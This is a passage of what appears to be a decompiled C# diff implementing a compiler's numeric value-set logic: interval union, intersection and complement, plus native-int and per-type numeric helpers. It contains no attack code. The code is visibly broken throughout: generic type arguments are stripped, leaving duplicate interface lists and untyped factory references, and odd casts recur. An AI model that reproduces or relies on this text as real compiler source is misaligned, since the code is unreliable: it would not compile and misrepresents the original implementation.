BinaryOperatorKind.LessThanOrEqual => true, + _ => false, + }; + } + if (flag) + { + return true; + } + flag = _hasLarge; + if (flag) + { + flag = relation switch + { + BinaryOperatorKind.GreaterThan => true, + BinaryOperatorKind.GreaterThanOrEqual => true, + _ => false, + }; + } + if (flag) + { + return true; + } + return _values.Any(relation, value); + } + + bool IValueSet.Any(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return Any(relation, value.Int32Value); + } + return true; + } + + public IValueSet Complement() + { + return new NintValueSet(!_hasSmall, _values.Complement(), !_hasLarge); + } + + IValueSet IValueSet.Complement() + { + return Complement(); + } + + public IValueSet Intersect(IValueSet o) + { + NintValueSet nintValueSet = (NintValueSet)o; + return new NintValueSet(_hasSmall && nintValueSet._hasSmall, _values.Intersect(nintValueSet._values), _hasLarge && nintValueSet._hasLarge); + } + + IValueSet IValueSet.Intersect(IValueSet other) + { + return Intersect((NintValueSet)other); + } + + public IValueSet Union(IValueSet o) + { + NintValueSet nintValueSet = (NintValueSet)o; + return new NintValueSet(_hasSmall || nintValueSet._hasSmall, _values.Union(nintValueSet._values), _hasLarge || nintValueSet._hasLarge); + } + + IValueSet IValueSet.Union(IValueSet other) + { + return Union((NintValueSet)other); + } + + public override bool Equals(object? obj) + { + if (obj is NintValueSet nintValueSet && _hasSmall == nintValueSet._hasSmall && _hasLarge == nintValueSet._hasLarge) + { + return _values.Equals(nintValueSet._values); + } + return false; + } + + public override int GetHashCode() + { + bool hasSmall = _hasSmall; + int hashCode = hasSmall.GetHashCode(); + hasSmall = _hasLarge; + return Hash.Combine(hashCode, Hash.Combine(hasSmall.GetHashCode(), _values.GetHashCode())); + } + + public override string ToString() + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + if (_hasSmall) + { + builder.Append("Small"); + } + if (_hasSmall && !_values.IsEmpty) + { + builder.Append(","); + } + builder.Append(_values.ToString()); + if (_hasLarge && builder.Length > 0) + { + builder.Append(","); + } + if (_hasLarge) + { + builder.Append("Large"); + } + return instance.ToStringAndFree(); + } + } + + private sealed class NintValueSetFactory : IValueSetFactory, IValueSetFactory + { + public static readonly NintValueSetFactory Instance = new NintValueSetFactory(); + + IValueSet IValueSetFactory.AllValues => NintValueSet.AllValues; + + IValueSet IValueSetFactory.NoValues => NintValueSet.NoValues; + + private NintValueSetFactory() + { + } + + public IValueSet Related(BinaryOperatorKind relation, int value) + { + bool hasSmall = relation switch + { + BinaryOperatorKind.LessThan => true, + BinaryOperatorKind.LessThanOrEqual => true, + _ => false, + }; + IValueSet values = NumericValueSetFactory.Instance.Related(relation, value); + return new NintValueSet(hasSmall, values, relation switch + { + BinaryOperatorKind.GreaterThan => true, + BinaryOperatorKind.GreaterThanOrEqual => true, + _ => false, + }); + } + + IValueSet IValueSetFactory.Random(int expectedSize, Random random) + { + return new NintValueSet(random.NextDouble() < 0.25, (IValueSet)NumericValueSetFactory.Instance.Random(expectedSize, random), random.NextDouble() < 0.25); + } + + ConstantValue IValueSetFactory.RandomValue(Random random) + { + return ConstantValue.CreateNativeInt(default(IntTC).Random(random)); + } + + IValueSet IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return Related(relation, default(IntTC).FromConstantValue(value)); + } + return NintValueSet.AllValues; + } + + bool IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue left, ConstantValue right) + { + IntTC intTC = default(IntTC); + return intTC.Related(relation, intTC.FromConstantValue(left), intTC.FromConstantValue(right)); + } + } + + [StructLayout(LayoutKind.Sequential, Size = 1)] + private struct NonNegativeIntTC : INumericTC + { + int INumericTC.MinValue => 0; + + int INumericTC.MaxValue => int.MaxValue; + + int INumericTC.Zero => 0; + + public bool Related(BinaryOperatorKind relation, int left, int right) + { + return relation switch + { + BinaryOperatorKind.Equal => left == right, + BinaryOperatorKind.GreaterThanOrEqual => left >= right, + BinaryOperatorKind.GreaterThan => left > right, + BinaryOperatorKind.LessThanOrEqual => left <= right, + BinaryOperatorKind.LessThan => left < right, + _ => throw new ArgumentException("relation"), + }; + } + + int INumericTC.Next(int value) + { + return value + 1; + } + + int INumericTC.Prev(int value) + { + return value - 1; + } + + public int FromConstantValue(ConstantValue constantValue) + { + if (!constantValue.IsBad) + { + return constantValue.Int32Value; + } + return 0; + } + + public ConstantValue ToConstantValue(int value) + { + return ConstantValue.Create(value); + } + + string INumericTC.ToString(int value) + { + return value.ToString(); + } + + public int Random(Random random) + { + return Math.Abs((random.Next() << 10) ^ random.Next()); + } + } + + private sealed class NonNegativeIntValueSetFactory : IValueSetFactory, IValueSetFactory + { + public static readonly NonNegativeIntValueSetFactory Instance = new NonNegativeIntValueSetFactory(); + + private readonly IValueSetFactory _underlying = NumericValueSetFactory.Instance; + + public IValueSet AllValues => NumericValueSet.AllValues; + + public IValueSet NoValues => NumericValueSet.NoValues; + + private NonNegativeIntValueSetFactory() + { + } + + public IValueSet Related(BinaryOperatorKind relation, int value) + { + switch (relation) + { + case BinaryOperatorKind.LessThan: + if (value <= 0) + { + return NumericValueSet.NoValues; + } + return new NumericValueSet(0, value - 1); + case BinaryOperatorKind.LessThanOrEqual: + if (value < 0) + { + return NumericValueSet.NoValues; + } + return new NumericValueSet(0, value); + case BinaryOperatorKind.GreaterThan: + if (value == int.MaxValue) + { + return NumericValueSet.NoValues; + } + return new NumericValueSet(Math.Max(0, value + 1), int.MaxValue); + case BinaryOperatorKind.GreaterThanOrEqual: + return new NumericValueSet(Math.Max(0, value), int.MaxValue); + case BinaryOperatorKind.Equal: + if (value < 0) + { + return NumericValueSet.NoValues; + } + return new NumericValueSet(value, value); + default: + throw ExceptionUtilities.UnexpectedValue((object)relation); + } + } + + IValueSet IValueSetFactory.Random(int expectedSize, Random random) + { + return _underlying.Random(expectedSize, random); + } + + ConstantValue IValueSetFactory.RandomValue(Random random) + { + return _underlying.RandomValue(random); + } + + IValueSet IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return Related(relation, default(NonNegativeIntTC).FromConstantValue(value)); + } + return AllValues; + } + + bool IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue left, ConstantValue right) + { + return _underlying.Related(relation, left, right); + } + } + + private sealed class NuintValueSet : IValueSet, IValueSet + { + public static readonly NuintValueSet AllValues = new NuintValueSet(NumericValueSet.AllValues, hasLarge: true); + + public static readonly NuintValueSet NoValues = new NuintValueSet(NumericValueSet.NoValues, hasLarge: false); + + private readonly IValueSet _values; + + private readonly bool _hasLarge; + + public bool IsEmpty + { + get + { + if (!_hasLarge) + { + return _values.IsEmpty; + } + return false; + } + } + + ConstantValue? IValueSet.Sample + { + get + { + if (IsEmpty) + { + throw new ArgumentException(); + } + if (!_values.IsEmpty) + { + return _values.Sample; + } + return null; + } + } + + internal NuintValueSet(IValueSet values, bool hasLarge) + { + _values = values; + _hasLarge = hasLarge; + } + + public bool All(BinaryOperatorKind relation, uint value) + { + bool flag = _hasLarge; + if (flag) + { + flag = relation switch + { + BinaryOperatorKind.LessThan => true, + BinaryOperatorKind.LessThanOrEqual => true, + _ => false, + }; + } + if (flag) + { + return false; + } + return _values.All(relation, value); + } + + bool IValueSet.All(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return All(relation, value.UInt32Value); + } + return true; + } + + public bool Any(BinaryOperatorKind relation, uint value) + { + bool flag = _hasLarge; + if (flag) + { + flag = relation switch + { + BinaryOperatorKind.GreaterThan => true, + BinaryOperatorKind.GreaterThanOrEqual => true, + _ => false, + }; + } + if (flag) + { + return true; + } + return _values.Any(relation, value); + } + + bool IValueSet.Any(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return Any(relation, value.UInt32Value); + } + return true; + } + + public IValueSet Complement() + { + return new NuintValueSet(_values.Complement(), !_hasLarge); + } + + IValueSet IValueSet.Complement() + { + return Complement(); + } + + public IValueSet Intersect(IValueSet o) + { + NuintValueSet nuintValueSet = (NuintValueSet)o; + return new NuintValueSet(_values.Intersect(nuintValueSet._values), _hasLarge && nuintValueSet._hasLarge); + } + + IValueSet IValueSet.Intersect(IValueSet other) + { + return Intersect((NuintValueSet)other); + } + + public IValueSet Union(IValueSet o) + { + NuintValueSet nuintValueSet = (NuintValueSet)o; + return new NuintValueSet(_values.Union(nuintValueSet._values), _hasLarge || nuintValueSet._hasLarge); + } + + IValueSet IValueSet.Union(IValueSet other) + { + return Union((NuintValueSet)other); + } + + public override bool Equals(object? obj) + { + if (obj is NuintValueSet nuintValueSet && _hasLarge == nuintValueSet._hasLarge) + { + return _values.Equals(nuintValueSet._values); + } + return false; + } + + public override int GetHashCode() + { + bool hasLarge = _hasLarge; + return Hash.Combine(hasLarge.GetHashCode(), _values.GetHashCode()); + } + + public override string ToString() + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + builder.Append(_values.ToString()); + if (_hasLarge && builder.Length > 0) + { + builder.Append(","); + } + if (_hasLarge) + { + builder.Append("Large"); + } + return instance.ToStringAndFree(); + } + } + + private sealed class NuintValueSetFactory : IValueSetFactory, IValueSetFactory + { + public static readonly NuintValueSetFactory Instance = new NuintValueSetFactory(); + + IValueSet IValueSetFactory.AllValues => NuintValueSet.AllValues; + + IValueSet IValueSetFactory.NoValues => NuintValueSet.NoValues; + + private NuintValueSetFactory() + { + } + + public IValueSet Related(BinaryOperatorKind relation, uint value) + { + IValueSet values = NumericValueSetFactory.Instance.Related(relation, value); + return new NuintValueSet(values, relation switch + { + BinaryOperatorKind.GreaterThan => true, + BinaryOperatorKind.GreaterThanOrEqual => true, + _ => false, + }); + } + + IValueSet IValueSetFactory.Random(int expectedSize, Random random) + { + return new NuintValueSet((IValueSet)NumericValueSetFactory.Instance.Random(expectedSize, random), random.NextDouble() < 0.25); + } + + ConstantValue IValueSetFactory.RandomValue(Random random) + { + return ConstantValue.CreateNativeUInt(default(UIntTC).Random(random)); + } + + IValueSet IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return Related(relation, default(UIntTC).FromConstantValue(value)); + } + return NuintValueSet.AllValues; + } + + bool IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue left, ConstantValue right) + { + UIntTC uIntTC = default(UIntTC); + return uIntTC.Related(relation, uIntTC.FromConstantValue(left), uIntTC.FromConstantValue(right)); + } + } + + private sealed class NumericValueSet : IValueSet, IValueSet where TTC : struct, INumericTC + { + private readonly ImmutableArray<(T first, T last)> _intervals; + + public static readonly NumericValueSet AllValues = new NumericValueSet(default(TTC).MinValue, default(TTC).MaxValue); + + public static readonly NumericValueSet NoValues = new NumericValueSet(ImmutableArray<(T, T)>.Empty); + + public bool IsEmpty => _intervals.Length == 0; + + ConstantValue IValueSet.Sample + { + get + { + if (IsEmpty) + { + throw new ArgumentException(); + } + TTC val = default(TTC); + IValueSet o = NumericValueSetFactory.Instance.Related(BinaryOperatorKind.GreaterThanOrEqual, val.Zero); + NumericValueSet numericValueSet = (NumericValueSet)Intersect(o); + if (!numericValueSet.IsEmpty) + { + return val.ToConstantValue(numericValueSet._intervals[0].first); + } + return val.ToConstantValue(_intervals[_intervals.Length - 1].last); + } + } + + internal NumericValueSet(T first, T last) + : this(ImmutableArray.Create((first, last))) + { + } + + internal NumericValueSet(ImmutableArray<(T first, T last)> intervals) + { + _intervals = intervals; + } + + public bool Any(BinaryOperatorKind relation, T value) + { + TTC tc = default(TTC); + switch (relation) + { + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.LessThanOrEqual: + if (_intervals.Length > 0) + { + return tc.Related(relation, _intervals[0].first, value); + } + return false; + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.GreaterThanOrEqual: + if (_intervals.Length > 0) + { + return tc.Related(relation, _intervals[_intervals.Length - 1].last, value); + } + return false; + case BinaryOperatorKind.Equal: + return anyIntervalContains(0, _intervals.Length - 1, value); + default: + throw ExceptionUtilities.UnexpectedValue((object)relation); + } + bool anyIntervalContains(int firstIntervalIndex, int lastIntervalIndex, T left) + { + while (true) + { + if (lastIntervalIndex < firstIntervalIndex) + { + return false; + } + if (lastIntervalIndex == firstIntervalIndex) + { + break; + } + int num = firstIntervalIndex + (lastIntervalIndex - firstIntervalIndex) / 2; + if (tc.Related(BinaryOperatorKind.LessThanOrEqual, left, _intervals[num].last)) + { + lastIntervalIndex = num; + } + else + { + firstIntervalIndex = num + 1; + } + } + if (tc.Related(BinaryOperatorKind.GreaterThanOrEqual, left, _intervals[lastIntervalIndex].first)) + { + return tc.Related(BinaryOperatorKind.LessThanOrEqual, left, _intervals[lastIntervalIndex].last); + } + return false; + } + } + + bool IValueSet.Any(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return Any(relation, default(TTC).FromConstantValue(value)); + } + return true; + } + + public bool All(BinaryOperatorKind relation, T value) + { + if (_intervals.Length == 0) + { + return true; + } + TTC val = default(TTC); + switch (relation) + { + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.LessThanOrEqual: + return val.Related(relation, _intervals[_intervals.Length - 1].last, value); + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.GreaterThanOrEqual: + return val.Related(relation, _intervals[0].first, value); + case BinaryOperatorKind.Equal: + if (_intervals.Length == 1 && val.Related(BinaryOperatorKind.Equal, _intervals[0].first, value)) + { + return val.Related(BinaryOperatorKind.Equal, _intervals[0].last, value); + } + return false; + default: + throw ExceptionUtilities.UnexpectedValue((object)relation); + } + } + + bool IValueSet.All(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return All(relation, default(TTC).FromConstantValue(value)); + } + return false; + } + + public IValueSet Complement() + { + if (_intervals.Length == 0) + { + return AllValues; + } + TTC val = default(TTC); + ArrayBuilder<(T, T)> instance = ArrayBuilder<((T, T), (T, T))>.GetInstance(); + if (val.Related(BinaryOperatorKind.LessThan, val.MinValue, _intervals[0].first)) + { + ((ArrayBuilder<((T, T), (T, T))>)(object)instance).Add((((T, T))val.MinValue, ((T, T))val.Prev(_intervals[0].first))); + } + int num = _intervals.Length - 1; + for (int i = 0; i < num; i++) + { + ((ArrayBuilder<((T, T), (T, T))>)(object)instance).Add((((T, T))val.Next(_intervals[i].last), ((T, T))val.Prev(_intervals[i + 1].first))); + } + if (val.Related(BinaryOperatorKind.LessThan, _intervals[num].last, val.MaxValue)) + { + ((ArrayBuilder<((T, T), (T, T))>)(object)instance).Add((((T, T))val.Next(_intervals[num].last), ((T, T))val.MaxValue)); + } + return new NumericValueSet(((ArrayBuilder<((T, T), (T, T))>)(object)instance).ToImmutableAndFree()); + } + + IValueSet IValueSet.Complement() + { + return Complement(); + } + + public IValueSet Intersect(IValueSet o) + { + NumericValueSet obj = (NumericValueSet)o; + TTC val = default(TTC); + ArrayBuilder<(T, T)> instance = ArrayBuilder<((T, T), (T, T))>.GetInstance(); + ImmutableArray<(T, T)> intervals = _intervals; + ImmutableArray<(T, T)> intervals2 = obj._intervals; + int num = 0; + int num2 = 0; + while (num < intervals.Length && num2 < intervals2.Length) + { + (T, T) tuple = intervals[num]; + (T, T) tuple2 = intervals2[num2]; + if (val.Related(BinaryOperatorKind.LessThan, tuple.Item2, tuple2.Item1)) + { + num++; + continue; + } + if (val.Related(BinaryOperatorKind.LessThan, tuple2.Item2, tuple.Item1)) + { + num2++; + continue; + } + Add(instance, Max(tuple.Item1, tuple2.Item1), Min(tuple.Item2, tuple2.Item2)); + if (val.Related(BinaryOperatorKind.LessThan, tuple.Item2, tuple2.Item2)) + { + num++; + continue; + } + if (val.Related(BinaryOperatorKind.LessThan, tuple2.Item2, tuple.Item2)) + { + num2++; + continue; + } + num++; + num2++; + } + return new NumericValueSet(((ArrayBuilder<((T, T), (T, T))>)(object)instance).ToImmutableAndFree()); + } + + private static void Add(ArrayBuilder<(T first, T last)> builder, T first, T last) + { + TTC val = default(TTC); + if (((ArrayBuilder<((T, T), (T, T))>)(object)builder).Count > 0 && (val.Related(BinaryOperatorKind.Equal, val.MinValue, first) || val.Related(BinaryOperatorKind.GreaterThanOrEqual, ((ArrayBuilder<((T, T), (T, T))>)(object)builder).Last().Item2, val.Prev(first)))) + { + (T, T) tuple = ArrayBuilderExtensions.Pop<(T, T)>(builder); + tuple.Item2 = Max(last, tuple.Item2); + ArrayBuilderExtensions.Push<(T, T)>(builder, tuple); + } + else + { + ((ArrayBuilder<((T, T), (T, T))>)(object)builder).Add((((T, T))first, ((T, T))last)); + } + } + + private static T Min(T a, T b) + { + if (!default(TTC).Related(BinaryOperatorKind.LessThan, a, b)) + { + return b; + } + return a; + } + + private static T Max(T a, T b) + { + if (!default(TTC).Related(BinaryOperatorKind.LessThan, a, b)) + { + return a; + } + return b; + } + + IValueSet IValueSet.Intersect(IValueSet other) + { + return Intersect((IValueSet)other); + } + + public IValueSet Union(IValueSet o) + { + NumericValueSet obj = (NumericValueSet)o; + TTC val = default(TTC); + ArrayBuilder<(T, T)> instance = ArrayBuilder<((T, T), (T, T))>.GetInstance(); + ImmutableArray<(T, T)> intervals = _intervals; + ImmutableArray<(T, T)> intervals2 = obj._intervals; + int i = 0; + int j = 0; + while (i < intervals.Length && j < intervals2.Length) + { + (T, T) tuple = intervals[i]; + (T, T) tuple2 = intervals2[j]; + if (val.Related(BinaryOperatorKind.LessThan, tuple.Item2, tuple2.Item1)) + { + Add(instance, tuple.Item1, tuple.Item2); + i++; + } + else if (val.Related(BinaryOperatorKind.LessThan, tuple2.Item2, tuple.Item1)) + { + Add(instance, tuple2.Item1, tuple2.Item2); + j++; + } + else + { + Add(instance, Min(tuple.Item1, tuple2.Item1), Max(tuple.Item2, tuple2.Item2)); + i++; + j++; + } + } + for (; i < intervals.Length; i++) + { + (T, T) tuple3 = intervals[i]; + Add(instance, tuple3.Item1, tuple3.Item2); + } + for (; j < intervals2.Length; j++) + { + (T, T) tuple4 = intervals2[j]; + Add(instance, tuple4.Item1, tuple4.Item2); + } + return new NumericValueSet(((ArrayBuilder<((T, T), (T, T))>)(object)instance).ToImmutableAndFree()); + } + + IValueSet IValueSet.Union(IValueSet other) + { + return Union((IValueSet)other); + } + + internal static IValueSet Random(int expectedSize, Random random) + { + TTC val = default(TTC); + T[] array = new T[expectedSize * 2]; + int i = 0; + for (int num = expectedSize * 2; i < num; i++) + { + array[i] = val.Random(random); + } + Array.Sort(array); + ArrayBuilder<(T, T)> instance = ArrayBuilder<((T, T), (T, T))>.GetInstance(); + int j = 0; + for (int num2 = array.Length; j < num2; j += 2) + { + T first = array[j]; + T last = array[j + 1]; + Add(instance, first, last); + } + return new NumericValueSet(((ArrayBuilder<((T, T), (T, T))>)(object)instance).ToImmutableAndFree()); + } + + public override string ToString() + { + TTC tc = default(TTC); + return string.Join(",", _intervals.Select(((T first, T last) p) => "[" + tc.ToString(p.first) + ".." + tc.ToString(p.last) + "]")); + } + + public override bool Equals(object? obj) + { + if (obj is NumericValueSet numericValueSet) + { + return _intervals.SequenceEqual(numericValueSet._intervals); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Hash.CombineValues<(T, T)>(_intervals, int.MaxValue), _intervals.Length); + } + } + + private sealed class NumericValueSetFactory : IValueSetFactory, IValueSetFactory where TTC : struct, INumericTC + { + public static readonly NumericValueSetFactory Instance = new NumericValueSetFactory(); + + IValueSet IValueSetFactory.AllValues => NumericValueSet.AllValues; + + IValueSet IValueSetFactory.NoValues => NumericValueSet.NoValues; + + private NumericValueSetFactory() + { + } + + public IValueSet Related(BinaryOperatorKind relation, T value) + { + TTC val = default(TTC); + switch (relation) + { + case BinaryOperatorKind.LessThan: + if (val.Related(BinaryOperatorKind.LessThanOrEqual, value, val.MinValue)) + { + return NumericValueSet.NoValues; + } + return new NumericValueSet(val.MinValue, val.Prev(value)); + case BinaryOperatorKind.LessThanOrEqual: + return new NumericValueSet(val.MinValue, value); + case BinaryOperatorKind.GreaterThan: + if (val.Related(BinaryOperatorKind.GreaterThanOrEqual, value, val.MaxValue)) + { + return NumericValueSet.NoValues; + } + return new NumericValueSet(val.Next(value), val.MaxValue); + case BinaryOperatorKind.GreaterThanOrEqual: + return new NumericValueSet(value, val.MaxValue); + case BinaryOperatorKind.Equal: + return new NumericValueSet(value, value); + default: + throw ExceptionUtilities.UnexpectedValue((object)relation); + } + } + + IValueSet IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + return Related(relation, default(TTC).FromConstantValue(value)); + } + return NumericValueSet.AllValues; + } + + public IValueSet Random(int expectedSize, Random random) + { + return NumericValueSet.Random(expectedSize, random); + } + + ConstantValue IValueSetFactory.RandomValue(Random random) + { + TTC val = default(TTC); + return val.ToConstantValue(val.Random(random)); + } + + bool IValueSetFactory.Related(BinaryOperatorKind relation, ConstantValue left, ConstantValue right) + { + TTC val = default(TTC); + return val.Related(relation, val.FromConstantValue(left), val.FromConstantValue(right)); + } + } + + [StructLayout(LayoutKind.Sequential, Size = 1)] + private struct SByteTC : INumericTC + { + sbyte INumericTC.MinValue => sbyte.MinValue; + + sbyte INumericTC.MaxValue => sbyte.MaxValue; + + sbyte INumericTC.Zero => 0; + + bool INumericTC.Related(BinaryOperatorKind relation, sbyte left, sbyte right) + { + return relation switch + { + BinaryOperatorKind.Equal => left == right, + BinaryOperatorKind.GreaterThanOrEqual => left >= right, + BinaryOperatorKind.GreaterThan => left > right, + BinaryOperatorKind.LessThanOrEqual => left <= right, + BinaryOperatorKind.LessThan => left < right, + _ => throw new ArgumentException("relation"), + }; + } + + sbyte INumericTC.Next(sbyte value) + { + return (sbyte)(value + 1); + } + + sbyte INumericTC.Prev(sbyte value) + { + return (sbyte)(value - 1); + } + + sbyte INumericTC.FromConstantValue(ConstantValue constantValue) + { + if (!constantValue.IsBad) + { + return constantValue.SByteValue; + } + return 0; + } + + public ConstantValue ToConstantValue(sbyte value) + { + return ConstantValue.Create(value); + } + + string INumericTC.ToString(sbyte value) + { + return value.ToString(); + } + + sbyte INumericTC.Random(Random random) + { + return (sbyte)random.Next(); + } + } + + [StructLayout(LayoutKind.Sequential, Size = 1)] + private struct ShortTC : INumericTC + { + short INumericTC.MinValue => short.MinValue; + + short INumericTC.MaxValue => short.MaxValue; + + short INumericTC.Zero => 0; + + bool INumericTC.Related(BinaryOperatorKind relation, short left, short right) + { + return relation switch + { + BinaryOperatorKind.Equal => left == right, + BinaryOperatorKind.GreaterThanOrEqual => left >= right, + BinaryOperatorKind.GreaterThan => left > right, + BinaryOperatorKind.LessThanOrEqual => left <= right, + BinaryOperatorKind.LessThan => left < right, + _ => throw new ArgumentException("relation"), + }; + } + + short INumericTC.Next(short value) + { + return (short)(value + 1); + } + + short INumericTC.Prev(short value) + { + return (short)(value - 1); + } + + short INumericTC.FromConstantValue(ConstantValue constantValue) + { + if (!constantValue.IsBad) + { + return constantValue.Int16Value; + } + return 0; + } + + ConstantValue INumericTC.ToConstantValue(short value) + { + return ConstantValue.Create(value); + } + + string INumericTC.ToString(short value) + { + return value.ToString(); + } + + short INumericTC.Random(Random random) + { + return (short)random.Next(); + } + } + + [StructLayout(LayoutKind.Sequential, Size = 1)] + private struct SingleTC : FloatingTC, INumericTC + { + float INumericTC.MinValue => float.NegativeInfinity; + + float INumericTC.MaxValue => float.PositiveInfinity; + + float FloatingTC.NaN => float.NaN; + + float INumericTC.Zero => 0f; + + public float Next(float value) + { + if (value == 0f) + { + return float.Epsilon; + } + if (value < 0f) + { + if (value == -1E-45f) + { + return 0f; + } + if (value == float.NegativeInfinity) + { + return float.MinValue; + } + return 0f - UintAsFloat(FloatAsUint(0f - value) - 1); + } + if (value == float.MaxValue) + { + return float.PositiveInfinity; + } + return UintAsFloat(FloatAsUint(value) + 1); + } + + private unsafe static uint FloatAsUint(float d) + { + if (d == 0f) + { + return 0u; + } + uint* ptr = (uint*)(&d); + return *ptr; + } + + private unsafe static float UintAsFloat(uint l) + { + float* ptr = (float*)(&l); + return *ptr; + } + + bool INumericTC.Related(BinaryOperatorKind relation, float left, float right) + { + switch (relation) + { + case BinaryOperatorKind.Equal: + if (left != right) + { + if (float.IsNaN(left)) + { + return float.IsNaN(right); + } + return false; + } + return true; + case BinaryOperatorKind.GreaterThanOrEqual: + return left >= right; + case BinaryOperatorKind.GreaterThan: + return left > right; + case BinaryOperatorKind.LessThanOrEqual: + return left <= right; + case BinaryOperatorKind.LessThan: + return left < right; + default: + throw new ArgumentException("relation"); + } + } + + float INumericTC.FromConstantValue(ConstantValue constantValue) + { + if (!constantValue.IsBad) + { + return constantValue.SingleValue; + } + return 0f; + } + + ConstantValue INumericTC.ToConstantValue(float value) + { + return ConstantValue.Create(value); + } + + string INumericTC.ToString(float value) + { + if (!float.IsNaN(value)) + { + if (value != float.NegativeInfinity) + { + if (value != float.PositiveInfinity) + { + return FormattableString.Invariant($"{value:G9}"); + } + return "Inf"; + } + return "-Inf"; + } + return "NaN"; + } + + float INumericTC.Prev(float value) + { + return 0f - Next(0f - value); + } + + float INumericTC.Random(Random random) + { + return (float)(random.NextDouble() * 100.0 - 50.0); + } + } + + [StructLayout(LayoutKind.Sequential, Size = 1)] + private struct StringTC : IEquatableValueTC + { + string IEquatableValueTC.FromConstantValue(ConstantValue constantValue) + { + if (!constantValue.IsBad) + { + return constantValue.StringValue; + } + return string.Empty; + } + + string[] IEquatableValueTC.RandomValues(int count, Random random, int scope) + { + string[] array = new string[count]; + int num = 0; + for (int i = 0; i < scope; i++) + { + int num2 = count - num; + int num3 = scope - i; + if (random.NextDouble() * (double)num3 < (double)num2) + { + array[num++] = i.ToString(); + } + } + return array; + } + + ConstantValue IEquatableValueTC.ToConstantValue(string value) + { + return ConstantValue.Create(value); + } + } + + [StructLayout(LayoutKind.Sequential, Size = 1)] + private struct UIntTC : INumericTC + { + uint INumericTC.MinValue => 0u; + + uint INumericTC.MaxValue => uint.MaxValue; + + uint INumericTC.Zero => 0u; + + public bool Related(BinaryOperatorKind relation, uint left, uint right) + { + return relation switch + { + BinaryOperatorKind.Equal => left == right, + BinaryOperatorKind.GreaterThanOrEqual => left >= right, + BinaryOperatorKind.GreaterThan => left > right, + BinaryOperatorKind.LessThanOrEqual => left <= right, + BinaryOperatorKind.LessThan => left < right, + _ => throw new ArgumentException("relation"), + }; + } + + uint INumericTC.Next(uint value) + { + return value + 1; + } + + public uint FromConstantValue(ConstantValue constantValue) + { + if (!constantValue.IsBad) + { + return constantValue.UInt32Value; + } + return 0u; + } + + public ConstantValue ToConstantValue(uint value) + { + return ConstantValue.Create(value); + } + + string INumericTC.ToString(uint value) + { + return value.ToString(); + } + + uint INumericTC.Prev(uint value) + { + return value - 1; + } + + public uint Random(Random random) + { + return (uint)((random.Next() << 10) ^ random.Next()); + } + } + + [StructLayout(LayoutKind.Sequential, Size = 1)] + private struct ULongTC : INumericTC + { + ulong INumericTC.MinValue => 0uL; + + ulong INumericTC.MaxValue => ulong.MaxValue; + + ulong INumericTC.Zero => 0uL; + + bool INumericTC.Related(BinaryOperatorKind relation, ulong left, ulong right) + { + return relation switch + { + BinaryOperatorKind.Equal => left == right, + BinaryOperatorKind.GreaterThanOrEqual => left >= right, + BinaryOperatorKind.GreaterThan => left > right, + BinaryOperatorKind.LessThanOrEqual => left <= right, + BinaryOperatorKind.LessThan => left < right, + _ => throw new ArgumentException("relation"), + }; + } + + ulong INumericTC.Next(ulong value) + { + return value + 1; + } + + ulong INumericTC.Prev(ulong value) + { + return value - 1; + } + + ulong INumericTC.FromConstantValue(ConstantValue constantValue) + { + if (!constantValue.IsBad) + { + return constantValue.UInt64Value; + } + return 0uL; + } + + ConstantValue INumericTC.ToConstantValue(ulong value) + { + return ConstantValue.Create(value); + } + + string INumericTC.ToString(ulong value) + { + return value.ToString(); + } + + ulong INumericTC.Random(Random random) + { + return (ulong)(((long)random.Next() << 35) ^ ((long)random.Next() << 10) ^ random.Next()); + } + } + + [StructLayout(LayoutKind.Sequential, Size = 1)] + private struct UShortTC : INumericTC + { + ushort INumericTC.MinValue => 0; + + ushort INumericTC.MaxValue => ushort.MaxValue; + + ushort INumericTC.Zero => 0; + + bool INumericTC.Related(BinaryOperatorKind relation, ushort left, ushort right) + { + return relation switch + { + BinaryOperatorKind.Equal => left == right, + BinaryOperatorKind.GreaterThanOrEqual => left >= right, + BinaryOperatorKind.GreaterThan => left > right, + BinaryOperatorKind.LessThanOrEqual => left <= right, + BinaryOperatorKind.LessThan => left < right, + _ => throw new ArgumentException("relation"), + }; + } + + ushort INumericTC.Next(ushort value) + { + return (ushort)(value + 1); + } + + ushort INumericTC.FromConstantValue(ConstantValue constantValue) + { + if (!constantValue.IsBad) + { + return constantValue.UInt16Value; + } + return 0; + } + + ConstantValue INumericTC.ToConstantValue(ushort value) + { + return ConstantValue.Create(value); + } + + string INumericTC.ToString(ushort value) + { + return value.ToString(); + } + + ushort INumericTC.Prev(ushort value) + { + return (ushort)(value - 1); + } + + ushort INumericTC.Random(Random random) + { + return (ushort)random.Next(); + } + } + + internal static readonly IValueSetFactory ForByte = NumericValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForSByte = NumericValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForChar = NumericValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForShort = NumericValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForUShort = NumericValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForInt = NumericValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForUInt = NumericValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForLong = NumericValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForULong = NumericValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForBool = 